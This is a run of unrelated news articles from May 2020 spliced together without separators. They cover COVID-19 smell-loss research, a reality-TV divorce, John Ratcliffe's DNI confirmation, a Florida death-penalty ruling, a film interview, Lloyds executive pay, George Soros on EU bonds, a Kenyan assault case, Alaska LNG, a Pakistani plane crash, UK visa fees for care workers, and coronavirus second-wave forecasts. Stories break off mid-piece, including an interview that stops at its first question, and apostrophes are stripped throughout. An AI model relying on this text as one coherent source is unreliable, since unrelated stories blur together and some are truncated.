Researchers at the Kolling Institute and the Royal North Shore Hospital in Sydney are investigating the link between loss of smell and the coronavirus in the hopes of developing a rapid, early warning screening test.

James Tinslay thought his wine had gone off, until he popped the cork on a second bottle and realised he had lost his palate. Credit:James Brickwood

Loss of smell (anosmia) has been formally recognised as a common symptom of COVID-19, and may come on before other more recognisable symptoms such as fever and cough.

Testing for anosmia could be a valuable way to detect cases early, preventing further spread and expediting treatment, said study lead and head of Endocrinology at Royal North Shore, Associate Professor Rory Clifton-Bligh.
When Justin Hartley filed for divorce from wife Chrishell Stause last year, it caught her off guard.

The second season of Stauses Netflix reality series, Selling Sunset, premiered Friday and, in a preview of the third season that aired at the conclusion of the final episode, Stause gets candid about the dissolution of her marriage.

Chrishell Stause is dealing with change. Her husband, This Is Us star Justin Hartley, filed for divorce, a news announcer is heard saying while cast members from the series get wind of the development.

Hollywood Foreign Press Association's Annual Grants Banquet - Arrivals (Axelle/Bauer-Griffin / FilmMagic)

Im just kind of in shock with it all, Stause then says to friend and co-worker Mary Fitzgerald.

He just blindsided you? Fitzgerald asks, while the former Young and the Restless star nods yes as her eyes fill with tears.

Its just a lot all at once because the whole world knows, Stause says over footage of her sitting on a bed after placing luggage on it, as well as her getting what appears to be a comforting hug from a friend. I love him so much. This was my best friend. Who do I talk to now?

Theres then a shot of Davina Potratz saying, She knows why this happened.

It then appears as if Stause wrestles with whether or not to attend co-star Christine Quinns wedding before we see here there, although she appears to walk out.

I dont want to be here right now. I dont want to do this anymore, she says.

Stause and Hartley married in 2017. They dont have any children, although the actor has a daughter from his previous marriage to actress Lindsay Korman.
Trump Loyalist Confirmed as Director of National Intelligence

By Jeff Seldin May 21, 2020

One of U.S. President Donald Trump's most vocal supporters is set to lead the country's intelligence community, overcoming concerns about his experience and a bitter partisan divide to win Senate confirmation.

The Senate voted 49 to 44, along party lines, Thursday to confirm Texas Representative John Ratcliffe as the next director of national intelligence.

Ratcliffe, who is slated to be sworn-in this coming Tuesday, will become the U.S. intelligence community's first permanent leader since former Director Dan Coats stepped down last August.

During his confirmation hearing earlier this month, Ratcliffe promised that he would deliver the president and top policymakers the "unvarnished truth" no matter what they wanted to hear.

"What anyone wants the intelligence to reflect won't impact the intelligence that I deliver," Ratcliffe said at the time. "It won't be shaded for anyone."

Before Thursday's vote, Republican lawmakers said they believed Ratcliffe was up to the challenge.

Ratcliffe "will lead the intelligence community in countering threats from great powers, rogue nations and terrorists, and ensuring that work is untainted by political bias," said Senate Majority Leader Mitch McConnell.

"Ratcliffe will have tremendous power to do good and to be transparent," added Iowa Republican Senator Chuck Grassley.

But Senate Democrats criticized Ratcliffe, expressing reservations that the Texas lawmaker would be able to set aside his partisan rhetoric.

"It requires someone with unimpeachable integrity, deep experience, and the independence and the backbone to speak truth to power," said Senate Minority Leader Chuck Schumer. "Unfortunately, Mr. Ratcliffe doesn't even come close to meeting that high bar."

One of the key concerns for Democrats is how Ratcliffe will handle threats to the November presidential election.

Key U.S. intelligence officials, including Coats, the former intelligence director, have warned repeatedly that Russia aims to interfere with the election, much like it did in 2016.

Trump has consistently pushed back against the intelligence community's conclusion that not only did Russia interfere in the 2016 U.S. presidential election, but that it did so with the ultimate aim of helping him get elected.

A bipartisan report released by the Senate Intelligence Committee last month affirmed that initial finding, calling the conclusion "sound."

During his confirmation hearing, Ratcliffe said he could not wholly endorse the intelligence community's conclusion, pointing to a 2018 report by the House Intelligence Committee, which disputed the judgment that Russia sought to help Trump win.

"I have not seen the underlying intelligence to tell me why there is a difference of opinion between the two committees," Ratcliffe said.

Other Democrats have raised concerns about Ratcliffe's willingness to protect intelligence community whistleblowers, with Senator Dianne Feinstein of California accusing Ratcliffe of "participation in President Trump's campaign to punish and discredit" the CIA whistleblower whose complaint set the impeachment proceedings against him in motion.

"My issue was not with the whistleblower," Ratcliffe said. "My issue was with what I perceived as a lack of due process in the House [impeachment] process."

"I want to make it very clear, if confirmed as DNI, every whistleblower, past present and future, will enjoy every protection under the law," he said.

Such concerns were reflected in the close, party-line confirmation vote.

In contrast, Coats, a former U.S. senator and ambassador to Germany, was confirmed by an 87-to-12 vote. And former President Barack Obama's last director of national intelligence, James Clapper, a former lieutenant general and intelligence community veteran, was confirmed unanimously in 2010.

The 54-year-old Ratcliffe's journey to the top ranks of the U.S. intelligence community has been an unusual one.

He was first elected to the House of Representatives in 2015, having previously served as a U.S. attorney and mayor of Heath, Texas. And at the time the president first proposed that Ratcliffe become the nation's top intelligence official, Ratcliffe had been serving on the House Intelligence Committee for only six months.

Concerns about that lack of experience, and allegations that he overstated his counterterrorism achievements as a federal prosecutor, caused Ratcliffe to withdraw his name from consideration last August.

Trump nominated Ratcliffe again this past February, calling him "an outstanding man of great talent!"

Since then, Republican lawmakers have downplayed any concerns, maintaining that Ratcliffe will bring needed changes to an intelligence apparatus they see as having been co-opted by partisan concerns and an unhealthy fixation on the president and his administration.

"The intelligence community is a creation of Congress. Congress is not a creation of the intelligence community," Grassley said in remarks praising Ratcliffe's nomination before Thursday's vote. "The intelligence community answers to us."

Grassley also praised the current acting director of national intelligence, Richard Grenell, saying Ratcliffe "has some big shoes to fill."

The current U.S. ambassador to Germany, Grenell has stoked the ire of both Republicans and Democrats in the Senate, and of Democrats in the House, for pushing ahead with a series of reforms without consulting them, while failing to give proper notification.

Those changes, some made despite concerns by both current and former intelligence officials, include reforms to how the intelligence community will brief on election interference and move to streamline operations at the National Counterterrorism Center.

Grenell on Thursday congratulated Ratcliffe on Twitter, saying Ratcliffe "will be the best DNI ever!"

Ratcliffe's nomination also polarized former intelligence officials, some of whom have taken their concerns public.

Clapper told VOA earlier this month that Ratcliffe's relationship with the intelligence agencies going forward bears watching.

"We'll have to see how he performs," Clapper said. "If he behaves as strictly a Trump loyalist, there will be a lot of blowback from the ranks."

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On Thursday, the Florida Supreme Courts new conservative majority allowed the state to resume executing individuals who may be intellectually disabled, shredding a precedent no one asked them to destroy. Its 41 decision carves a loophole in state law and grants Florida the authority to kill disabled prisoners who were sentenced under an unconstitutional law. Remarkably, Florida did not even ask the court to overturn this precedent; the conservative justices did so on their own initiative. That astounding breach of judicial protocol has sent shockwaves through the state, further demonstrating that Floridas high court has embarked upon a political agenda that is far removed from anything that might plausibly be called judging.

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The courts decision in Phillips v. State essentially revives an unconstitutional Florida law. In 2002, the U.S. Supreme Court ruled that states may not execute mentally retarded offenders. Killing people with mental deficiencies, the court explained, is a cruel and unusual punishment forbidden by the Eighth Amendment, because these individuals cognitive and behavioral impairments render them less culpable. Florida, however, continued to sentence intellectually disabled people to death, getting around SCOTUS by imposing a rigid test: Any individual who scores above 70 on an IQ test is, by definition, not intellectually disabled. This rule flies in the face of the scientific consensus, and in 2014s Hall v. Florida, the U.S. Supreme Court struck it down.

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Frank Walls was sentenced to death before Hall and denied an opportunity to prove an intellectual disability because he scored an IQ of 72, just above the cutoff. He asked the Florida Supreme Court to apply Hall retroactively, which would give him a new chance to demonstrate his disability at an evidentiary hearing. The court granted his request in 2016s Walls v. State. It applied its test for retroactivity, which asks whether a constitutional ruling constitutes a development of fundamental significance. A ruling meets this test if it places beyond the authority of the state the power to impose certain penalties. The court easily found that Hall satisfies that standard, because it revoked Floridas ability to impose death on defendants who are intellectually disabled but still score an IQ above 70.

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Since then, the makeup of the court has changed dramatically. Four liberal justices were forced to retire due to age, allowing Republican Govs. Rick Scott and Ron DeSantis to pick conservative successors. Two of DeSantis appointees have already been elevated to the federal bench, and the governor has illegally refused to name their replacements. So, today, the Florida Supreme Court has four conservatives, one moderate, and two vacancies. There are no female justices.

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One might expect a short-staffed court to display a modicum of modesty before ripping up decades of precedent. This one has not. Its conservative majority quickly got to work overturning progressive decisions they disliked, with a special focus on death jurisprudence. In January, the court let judges impose capital punishment without the unanimous recommendation of a jury, reversing a 2016 precedent. While doing so, the majority gave itself new powers to overturn past decisions with no special justification. Just last week, the same four justices sharply diminished the level of scrutiny applied to criminal convictions that rest solely on circumstantial evidence, even in capital cases.

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The court continued this campaign on Thursday by overturning Walls, the 2016 decision applying Hall retroactively. It used a post-conviction appeal from an intellectually disabled death row inmate, Harry Phillips, as a vehicle for this abrupt reversal. The four conservative justices declared that Hall merely more precisely defined the procedure to determine when a capital defendant is intellectually disabled. They asserted that the categorical prohibition on executing the intellectually disabled was not expanded by Hall. And they dismissed Hall as nothing more than an evolutionary refinement in the law, not a ruling of fundamental significance.

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These claims are not just dishonest; they are false. In Hall, SCOTUS declared that Floridas law contravenes our Nations commitment to dignity. Its sweeping decision condemned Floridas rule as a frontal assault on the Eighth Amendment. Hall was not a refinement of the law. It placed beyond the authority of the state the authority to execute a new class of people: people who score an IQ above 70 but are still intellectually disabled. Any principled interpretation of precedent requires its retroactive application in Florida.

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Whats arguably more disturbing than the courts decision is the way it reached its conclusions. As SCOTUS recently reminded us, courts are only supposed to decide questions presented by the parties before them; they may not sally forth each day looking for wrongs to right. Traditionally, a court will only overturn precedent if a party asks it to. Occasionally, a court may decide, on its own, that its time to reconsider a precedent. When that happens, the court typically orders further briefing on the matter, as SCOTUS did in Citizens United. The judiciary is called the least dangerous branch in part because of this passivity: Courts cannot insert themselves into a political dispute, but must wait for controversies to come before them.

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The Florida Supreme Court broke all those rules on Thursday. Florida didnt ask the court to overturn Walls. The justices did not order more briefing on the issue. Instead, they took it upon themselves to kill off an earlier decision simply because they didnt agree with it. A court that spontaneously seeks out and repeals old laws it dislikes is not really a court. It is a legislature. There may be no clearer example of unalloyed, unapologetic judicial activism.

These developments are specific to Florida, but they have national resonance. President Donald Trump has stacked the federal judiciary with conservatives who share the judicial philosophy of the Florida Supreme Courts majority. Many of them are already gunning for liberal precedents, including Roe v. Wade. These judges have decided that time-honored principles of judicial restraint do not apply to them. They believe they have a mandate to bend the law as far to the right as possible, as quickly as possibleno matter how many laws, precedents, and human lives they trample along the way.

For more of Slates politics coverage, listen to the Political Gabfest.
The Lovebirds begins as a romantic comedy, then steers a hard left into comic murder mystery territory. The movies road to release has taken a turn or two as well.

First, it lost its world-premiere screening at South by Southwest in Austin, Tex., when that festival was canceled because of coronavirus concerns. Next, the planned early-April theatrical release was scuttled when movie theaters closed. And then it changed distribution hands from Paramount to Netflix, where it is now streaming. What hasnt changed is that the movie stars Issa Rae and Kumail Nanjiani and offers some comic relief at a time many could use it.

The two play a New Orleans couple whose on-the-rocks relationship becomes trickier once they inadvertently become embroiled in a killing. My original plan to travel to Austin in March and chat with the actors in person eventually morphed into a Zoom conversation one May afternoon. In that interview, they spoke about race and rom-coms, and what theyve been doing during quarantine.

These are edited excerpts from the conversation.

What is your history with romantic comedies, and what are your favorites?
Embarrassment: Lloyds boss Antonio Horta Osorio

Lloyds Bank was hit by a investor rebellion yesterday as more than a third of voting shareholders railed against its bosss pay. The mutiny at the banks annual general meeting was just the latest embarrassment for Antonio Horta-Osorio, who had already seen his pay under the new remuneration policy reduced from a maximum of 9.8million to 7million.

But the attempts to pacify irate investors fell short as 36.2 per cent of voting shareholders rejected the lenders remuneration policy.

Another 1.9 per cent of the entire investor base abstained from voting, in further proof that Lloyds has failed to convince shareholders that it showing moderation.

The bruising vote comes at a sensitive time for Lloyds, as lenders were ordered by the Bank of England in March to rein in their executive pay to ensure they had enough money to deal with the coronavirus crisis.

The Treasury is relying on High Street banks to lend as much as possible to struggling businesses, to help them survive the pandemic.

But Lloyds in particular has come under fire from customers who claimed it was near-impossible to get a lifeline loan from it under the Governments Coronavirus Business Interruption Loan Scheme (CBILS).

Influential shareholder advisory firm ISS recommended shareholders reject Lloyds pay policy ahead of yesterdays annual general meeting.

It said executives including Horta-Osorio and chief financial officer William Chalmers were more likely to get long-term share awards under the new pay plan, and that the cuts Lloyds was proposing to get around this were not sufficient.

The banks second-largest shareholder, US investment firm Harris Associates, said it had approved the pay policy.

A spokesman said: We fully support the board and the management team, especially as the compensation plan has already cut a measurable part of the fixed compensation.
FILE PHOTO: Billionaire investor George Soros is awarded the Schumpeter Prize, an Austrian award for achievement in economics and politics, in Vienna, where the Central European University he funds is opening a new campus after being forced out of his native Hungary

By Guy Faulconbridge

LONDON (Reuters) - Billionaire financier George Soros said the European Union could break apart in the wake of the new coronavirus pandemic unless the block issued perpetual bonds to help weak members such as Italy.

The novel coronavirus, which emerged in China last year, has stalled swathes of the global economy while governments have ramped up borrowing to levels not seen in peacetime history.

Soros, 89, said the damage to the euro zone economy from the new coronavirus would last "longer than most people think", adding that the rapid evolution of the virus meant that a reliable vaccine would be hard to develop.

The hedge-fund veteran and chairman of Soros Fund Management LLC said perpetual bonds, used by the British to finance wars against Napoleon, would allow the European Union - itself created out of the ashes of World War Two - to survive.

"If the EU is unable to consider it now, it may not be able to survive the challenges it currently confronts," Soros said in a transcript of a question-and-answer session emailed to reporters. "This is not a theoretical possibility; it may be the tragic reality."

The comments were approved by Soros for publication on Friday, a spokesman said.

Soros, who earned fame by betting against the pound in 1992, said that with major countries such as Germany selling bonds with a negative yield, perpetual bonds would ease a looming budget crunch across the bloc.

He said the EU would have to maintain its 'AAA' credit rating to issue such debt - and thus have to have tax-raising powers to cover the cost of the bonds - so suggested it could simply authorise the taxes rather than imposing them.

"There is a solution," said Soros. "The taxes only have to be authorized; they dont need to be implemented."

Asked about Brexit, Soros said he was particularly worried about Italy: "What would be left of Europe without Italy?"

Story continues

"The relaxation of state aid rules, which favour Germany, has been particularly unfair to Italy, which was already the sick man of Europe and then the hardest hit by COVID-19," Soros said.

Soros fled Hungary when the communists consolidated power in 1947 and ended up at the London School of Economics. His Quantum Fund made huge profits in 1992 betting that sterling was overvalued against the Deutsche Mark, forcing the British to pull the pound out of the European Exchange Rate Mechanism.

(Editing by Michael Holden and Hugh Lawson)
A 30-year-old Tharaka Nithi man who assaulted his wife and sealed her genitalia, mouth and ears in a fit of jealousy has been arrested.

The man, identified as Kifo Muriuki was smoked from his hideout in Kaningo, Kitui County by a combined team from Directorate of Criminal Investigations Tseikuru, Special Crimes Unit and DCI Tharaka South.

Police have not yet revealed where they are holding the suspect, who had been on the run since Saturday, May 16, when he committed the heinous act.

According to the police report, Muriuki first lured his wife out of their Marimanti township home, fearing that he would be arrested after having travelled from Nairobi where there is a lockdown.



They both went and on reaching River Kathita, he ordered her to remove all her clothes so that she may tell him all the men she had slept with while he was at Nairobi, the woman told the police in her report.

At first, she said she declined the odd request but the man descended on her with blows while threatening to stab her with the knife he was holding.

After she complied, the man is said to have sprayed pepper and salt on her private parts and then applied superglue.

Worse still, the man then applied the same superglue on her ears and mouth.

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The U.S. Federal Energy Regulatory Commission (FERC) approved this week the construction and operation of the Alaska LNG project estimated at US$43 billion, which has been years in the planning but still lacks investor commitments for its completion.

FERC authorized on Thursday the Alaska Gasline Development Corporation (AGDC)an independent, public corporation of the State of Alaskato liquefy and export liquefied natural gas (LNG) from the North Slope to an export facility in Nikiski, Alaska.

The Alaska LNG Project consists of a Gas Treatment Plant on Alaskas North Slope, an 800-mile pipeline, and an LNG facility in Nikiski, Alaska, and is estimated to cost US$43.4 billion.

Commenting on FERCs project authorization, Alaska Governor Mike Dunleavy said:

Todays federal authorization is a key step in determining if Alaska LNG is competitive and economically beneficial for Alaska. I commend the AGDC team for their diligence. The ongoing project economic review and discussions with potential partners will determine the next steps for this project.

Our momentum continues as we complete our assessment of the projects economics and competitiveness, and engage with potential project partners to determine the best path forward for the Alaska LNG Project, said AGDC President Frank Richards.

The project was first proposed in 2014, but in 2016 the partners in the project, ExxonMobil, BP, ConocoPhillips, and TransCanada, withdrew as potential investors and the state of Alaska took over the project.

According to Alex DeMarban of Anchorage Daily News, FERCs authorization of the project could be a key step for a potential sale of the project to investors or buyers.

However, considering the current state of the global LNG market with prices at record lows and demand sluggish in the COVID-19 pandemic, investors may not be rushing to pour billions of US dollars to complete the project, all the more so that oil and gas supermajors are tightening their belts after the oil price crash in March.

By Tsvetana Paraskova for Oilprice.com

More Top Reads From Oilprice.com:
A passenger plane belonging to state-run airline Pakistani International Airlines has crashed near the southern port city of Karachi, according to Abdul Sattar Kokhar, spokesman for the countrys civil aviation authority.

There were no immediate reports on the number of casualties. The aircraft arriving from the eastern city of Lahore was carrying 99 passengers and seven crew members, he said.

Local television reports showed smoke coming from the direction of the airport. Ambulances were on their way to the airport.

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Ministers are coming under mounting pressure to expand their offer of automatic visa extensions for NHS staff to include care workers and low-paid hospital staff such as cleaners and porters.

Cross-party MPs and charities said it was unacceptable that while frontline NHS workers have been exempt from paying visa fees, lower-paid health staff working to tackle the virus are still required to do so  which they said was in some cases forcing them into debt and hunger.

Priti Patel announced at the end of March that NHS doctors, nurses and paramedics whose visas were due to expire before October would automatically have them extended, free of charge, for one year. A month later, she updated the offer to include midwives, radiographers, social workers and pharmacists, as well as their family members.

The home secretary said she had taken the decision because NHS staff should not be distracted by the visa process, adding that the nation owed them a great deal of gratitude for all that they do.

When asked by The Independent during the daily government briefing on Friday why care workers and low-paid NHS staff were not included, Ms Patel refused to commit, saying only that she was looking at various schemes and keeping everything under review.

Campaigners said the government must do the right thing and extend the visa scheme to all non-EU health and care staff whose visas would otherwise expire before the end of the year.

Two Conservative MPs, former immigration minister Caroline Nokes and Tim Laughton, have supported an amendment to the EU Withdrawal Bill, tabled by Home Affairs Select Committee chair Yvette Cooper, which would expand the scheme to include all health and care staff.

It comes after two dramatic U-turns by the Home Office in relation to migrants working in the health service, first extending the bereavement scheme to all health and care workers and the following day agreeing to drop the immigration health surcharge for this group.

Some 8 per cent of social care home workers are foreign nationals from outside the EU, while non-UK nationals are also strongly represented among the ranks of hospital cleaners, porters, security guards and catering staff who are regarded as key workers but do not qualify for the extension.

Tendai Changa, 36, who has worked in a care home in London for three years, is having to pay more than 2,000 every two and a half years for visa extensions, and said she felt the exclusion of care workers from the automatic visa extensions was unfair.

It should apply to everyone else in the care or hospital environment. It should apply to all of us. Were all looking after patients. Were all putting our lives at risk. But then when it comes to renewing our visas, we still have to pay, even though we are the ones with the patients for 12 hours. It should be fair, it should be equal, she told The Independent.

The Malawian national, who has been in the UK since 2004 and has two British-born children, aged seven and four, said that  as she earns just 8.55 an hour  she had to borrow money when she applied for her visa extension last year, and is still paying off the debt.

Ms Changa added: Im glad they were able to drop the NHS surcharge. I was thrilled about that. But if they could reduce on the immigration payment it would help. Right now its demoralising. Were underpaid and still we have the extra charges to pay.

The Home Affairs Select Committee asked the Home Office on 14 April to expand the visa scheme to include vitally important lower-paid and social care staff, to which Ms Patel responded by saying that the disparate nature of the social care sector makes it a unique challenge when making specific immigration offers. She said the department was keeping the policy under review.

A further letter from the committee on 12 May cited official statistics published the previous day showing that the Covid-19 death rate among social care staff was double that of the general working age population, and stated: In the light of these troubling figures, is the Home Office now able to look again at expanding the fee-free visa extension to cover social care workers?

However the home secretarys response on 14 May included no indication that the policy would change.

Yvette Cooper MP said that while it was welcome that the government had agreed to lift the immigration health surcharge and extend the bereavement scheme for care workers and low-paid NHS staff, the fact that this group was still having to pay visa fees was not fair and meant they were not being treated equally.

This means care workers applying to renew their visas along with the NHS surcharge could end up paying thousands and thousands of pounds. Asking them to do this as they stand on the UK front line against coronavirus, caring for and supporting people, and putting their own health at risk feels deeply unfair, she said.

Karolina Gerlich, executive director of the Care Workers Charity, said: At this point it is unacceptable to not recognise social care workers as being on the front line of all health and social care activities during Covid-19. They are highly skilled people who shouldnt have any issues around visa extensions, or entry to this country to do the jobs that we are desperate for people to do.

Care workers often earn 200 to 400 a week  how on earth are they supposed to be paying visa fees, when theyre also working and paying their taxes and contributing to society? The numbers just dont add up. You shouldnt be putting them into debt and into hunger because youre making them pay for a visa to have them stay and fight a pandemic and support the health and care systems.

Satbir Singh, chief executive of the Joint Council for the Welfare of Immigrants, said it was absurd that the people whove been risking their lives to keep the country safe were still having to pay astronomical fees to live and work in the UK.

A government spokesperson said: Right across the immigration system we are supporting health and social care workers, whether it is by expanding the bereavement scheme to cover social care workers and their families or, as we announced this week, exempting them from the immigration health surcharge.

We are also supporting the social care sector in a number of different ways, including by providing additional funding, and will continue to work to see how best we can support social care workers.
tech2 News Staff

Europe should prepare itself for a second wave of coronavirus infection says Andrea Ammon, Director of the European Centre for Disease Prevention and Control (ECDC), in an interview with The Guardian.

However, the questions that now need to be asked about the second wave are  When? And how big?

This should not come as a surprise as scientists have been cautioning us about a second and a possible third wave that will erupt once lockdowns have been lifted all over the world. With no vaccine or treatment insight, protecting ourselves from the virus seems questionable. We also cannot stay in our homes forever and the idea of social distancing and wearing a mask each time we go out seems more and more like our new normal, at least for the next couple of years.

She said, Looking at what now emerges from the different countries in terms of population immunity  which isnt all that exciting, between two percent and 14 percent, that leaves still 85 percent to 90 percent of the population susceptible  the virus is around us, circulating much more than January and February  I dont want to draw a doomsday picture but I think we have to be realistic. That its not the time now to completely relax.

China, the country where the virus originated from, is already seeing new eruptions, weeks after they lifted the lockdown. New reports are finding that the virus is mutating to be more difficult to test, with longer incubation periods and not having the usual symptoms of fevers and coughs.

Germany has seen a rise in infection rates from 0.65 to 1.13. An infection rate is typically used to measure the frequency of occurrence of new cases of infection within a defined population during a specified time frame.

(Also read: UK's COVID-19 tracking system under fire amid warning of a second wave of Coronavirus outbreak)

South Korea has warned of a second wave as a new cluster has formed around night clubs which have now been shut down in its capital Seoul.

These new cases are due to people finally coming out of their country sanctioned months-long lockdown. After being cooped up in their houses, having the freedom to move around, albeit restrictively.

Ammon agrees as well. The strain of staying at home, not being able to do what we want, when we want and how we want it, can be hard.

But we need to remember we are still in the throes of a pandemic, even if we are getting some of our freedom back. We yet do not know for how long the virus plans on sticking around. She said, "It seems to be very well adapted to humans.

It is my opinion that this is a feasible scenario. Nobody is claiming to know what will happen for sure - I believe in an unknown situation this is a possibility. We need to continue to keep our distance and hope the numbers continue to improve.  Professor Karol Sikora (@ProfKarolSikora) May 16, 2020

However, there are some experts that believe the virus will go away on its own. Professor Karol Sikora, who is an oncologist serving as a chief medical officer at Rutherford Health and was the former director of the World Health Organisation, tweeted saying "There is a real chance that the virus will burn out naturally before any vaccine is developed." However, he did add that it is still important to slow the spread of the virus.
MEDIA  Dozens of small business owners, a few waving American flags and others carrying signs, staged a protest in front of the Delaware County Courthouse on Thursday calling on state and local officials allow them to reopen their businesses.

Roughly 75-100 people gathered for a little more than an hour to voice their displeasure with Gov. Tom Wolfs three-phased plan to reopen the state in the wake of the coronavirus pandemic.

I think I speak for all small business owners, said Sandi Driscoll, owner of Scissor Works Hair Studio in Boothwyn. We will not go down without a fight and let our government officials infringe on our 14th Amendment rights and the rights of my guests, whove been patiently waiting for me to open my doors. Maybe they all need a refresher course in what the Constitution really means. I want to thank all of you for allowing me to speak today and I hope that by me standing here gives us a fighting chance the ability to open our businesses safely.

The rally, organized on Facebook by Bethel Township Councilwoman Leah Hoopes, was not without incident. One man was taken into custody by Delaware County Park Police following a brief altercation with a counter protester. No charges had been filed by the time the rally ended, according to Scott Mahoney, the superintendent of the Park Police.

Another counter protestor, Kevin Corrigan of Marple, traded verbal barbs with several rally attendees including state Rep. Stephen Barrar R-160 of Upper Chichester, who was one of several people invited to speak at the event.

Im here because I love this country and I hate whats being done to it, Corrigan said. Im 63 and I want to live to 64.

Barrar said he regretted the incident afterward.

He came here to break em for me, Barrar said. You heard it. He got very personal in a lot of ways with me and maybe I lost my temper with him, which I shouldnt have. I do have a bit of a temper but I just thought the people came here to peaceably assemble and he came to disrupt it and it kind of bothered me but it happens all the time. I wish that I had refrained from even talking to him because he really had nothing to say.

The business owners had a lot to say and their frustration was palpable. Many were upset with what they saw as the governors arbitrary decision on what is an essential business and what is not.

The Wolf administration set three levels of restrictions on residents and non-essential businesses in its March shutdown order, enacted to mitigate the statewide spread of the deadly coronavirus: Red, the highest level, which Delaware County is currently under; yellow, a less restrictive but still cautiously protective, status; and green, a return to full open status, with some social-distancing recommendations in place.

Driscoll said that it has been 66 days since she closed her shop, which employs five stylists and one receptionist.

Everyone is essential in our community, Driscoll said. What exactly is the criteria? How is Ritas Water Ice or a cigar shop or even a curbside slushie more essential that a salon or a barber shop? 

Driscoll came to the rally to let her frustrations be known publicly and that safety is an integral part of her industry.

My business has to be one of the cleanest out there, Driscoll said. If you dont have a clean shop you get shut down by the state board.

Kevin Farrell, owner of Stingers Restaurant & Bar in Secane and Stingers Waterfront in Ridley Park, came for the same reason.

We have to make our voices heard, Farrell said. Were not asking to open today or tomorrow, just an idea of when that will be and what will it involve? If we have to dial it back a bit, limit the number of people in our dining room, wed be fine with that, but we have to have a plan in place ready to go. Waiting for a vaccine to open is not realistic.

Farrell spoke to the crowd, as did Tina Hamilton from Recovery without Barriers in Upper Darby, a community based group that is dedicated to assisting people with drug addiction and their families. Other speakers included Rob Jordan and Ralph Shicatano. Jordan is one of two Republicans running for his partys nomination to oppose U.S. Rep. Mary Gay Scanlon, R-5 of Swarthmore. Shicatano is running for state House in the 161st District.

Another rally is set for May 28 in the parking lot at Marty Magees in Prospect Park.

I think it went well Hoopes said. I wish the heckling would stop, but he has the right to be here. I wish people like that would listen and have some independent thought and realize were not the enemy. Tensions are high right now and its unfortunate because were all Americans. We want the right to speak our minds and be heard. That was our goal today.

Its not just business owners. Its obviously the healthcare workers. Its the senior citizens. Its the abuse project that talks to me about being stuck at home and not being able to escape. You think about child abuse victims. They cant go to mandated reporters because theyre not in schools Talk about teenagers, single parents, its not just a one-sided things. Its collateral damage. Its out of control and it doesnt need to be this way.
One by one, governments worldwide are gradually easing tough restrictions meant to contain the spread of the coronavirus  even as, in some countries, infection numbers continue to rise.

The move highlights the pressing need to cautiously reopen economies and restore livelihoods, but the path towards post-coronavirus normality is arduous and long.

Despite a non-universal approach over the best way forward, most countries tiptoeing out of lockdown are implementing a new way of living shaped by strict physical-distancing rules as they try to avoid lasting economic damage.

But with no known treatment or vaccine available, experts warn that an extensive lifting of controls could spark a second  and perhaps deadlier  wave of a pandemic that has so far sickened more than five million people and caused more than 330,000 related deaths.

Right now, the biggest threat of virus growth is probably from the relaxing of restrictions, Benjamin Neuman, a virologist at Texas A&M University-Texarkana, told Jazeera.

There isnt a strong scientific rationale for why restrictions need to be relaxed right now in certain places, but because of public opinion it may seem politically necessary.

Indeed, the World Health Organization (WHO) has repeatedly urged countries to be cautious about easing coronavirus-related restrictions, warning that a premature lifting could lead to an uncontrolled resurgence in transmission and an amplified second wave of cases.

In recent weeks, as debates about exit strategies intensified around the world, a legion of experts have published relevant guidance, with many scouring the past to offer recommendations on the path ahead.

Among them were scientists at the Center for Infectious Disease Research and Policy (CIDRAP), who outlined a series of predictions for the development of COVID-19 in the near future.

Three scenarios

Using past influenza outbreaks as their key comparative model, as well as SARS and MERS data, the scientists at the University of Minnesota concluded the pandemic will likely last for up to two years and will not be halted until 60-70 percent of the population is immune.

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Taking into account the high probability that a vaccine will not be available this year, CIDRAPs first scenario foresees the first wave being followed by repetitive smaller ones that will appear consistently, before diminishing next year. These waves will vary geographically and their intensity will depend on lockdown measures that will periodically return.

Another version, the most optimistic one, predicts a slow burn of continuing transmission and case occurrence following the first wave. Under this forecast, the world will likely not see the return of mitigation measures.

The worst-case scenario foresees a larger second wave before the end of 2020, followed by one or more smaller waves next year. This is based on trends recorded during the influenza pandemic of 1918-1919, that killed an estimated 50 million people, as well as the 2009-2010 H1N1 pandemic.

Whichever scenario the pandemic follows (assuming at least some level of ongoing mitigation measures), we must be prepared for at least another 18 to 24 months of significant COVID-19 activity, with hot spots popping up periodically in diverse geographic areas, the scientists said in the report (PDF) that was published on April 30.

While stressing that it is not known how the pandemic will develop, the WHO also foresees, in general, three possible outcomes: Complete interruption of human-to-human transmission; recurring, large or small, epidemic waves; and continuous low-level transmission.

Based on current evidence, the most plausible scenario may involve recurring epidemic waves interspersed with periods of low-level transmission, Tarik Jasarevic, WHO spokesman, told Al Jazeera. This guidance has been developed in the context of these scenarios and will be updated as knowledge of the dynamics of the pandemic evolves.





Vaccine race

Still, the consensus among experts is that epidemic models predicting deaths and infections are extremely complex  and in the case of COVID-19, they are compounded by the diseases high degree of transmission and the seemingly large percentage of infected people who are asymptomatic.

Mathematical models are a good way to predict the outcome of the pandemic, but right now one thing the modelers are struggling with is estimating the number of positive cases, with and without symptoms, Neuman said. That is an area where aggressive testing and contact tracing is an essential tool.

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Looking ahead, most experts appear certain the pandemic will not go away on its own and a solution will only be found when a vaccine becomes available.

The coronavirus has not disappeared despite social distancing and it will continue to spread until there is a vaccine, infectious diseases expert Amesh Adalja of the Johns Hopkins University Center for Health Security told Al Jazeera.

We will have a second and even third wave if there is no vaccine, he said. We do know that coronavirus is, in general, accelerate their spread in the fall and winter as environmental conditions favor their transmission. We have to be prepared that when flu season begins that we also have a concomitant coronavirus season.

Currently, at least 90 vaccines against COVID-19 are being developed globally, with several of them already in the clinical trial phase. While the pace of the vaccine race has been unprecedented, many experts expect the search to take at least a year to 18 months. And then if this optimistic scenario were to come true, they caution that producing enough shots of a successful candidate may be as difficult as developing one.

According to Gregory Poland, an infectious diseases expert and head of Mayo Clinics Vaccine Research Group, it is still very hard to know when a vaccine will become available.

It really depends on a trade-off between safety and speed, he told Al Jazeera. Normally, a vaccine takes about seven to 10 years to develop and go through all the safety testing in the US. The fastest that has ever been done is four years for Ebola vaccine  this [COVID-19] is being proposed to be done in months. The only way you can do that is sacrifice some level of assurance about safety or do some kinds of testing that we have not done before with a virus like this.





Recommendations

But with no sign of a vaccine or cure in the immediate future, public health experts say decision-makers should waste no time in making preparations for a second wave.

200324152419919

Strict adherence to health and safety protocols, including physical distancing rules and availability of face marks, is seen as paramount, as is equipping medical facilities and healthcare workers with the tools needed to fight the disease when there is a new spike in infections.

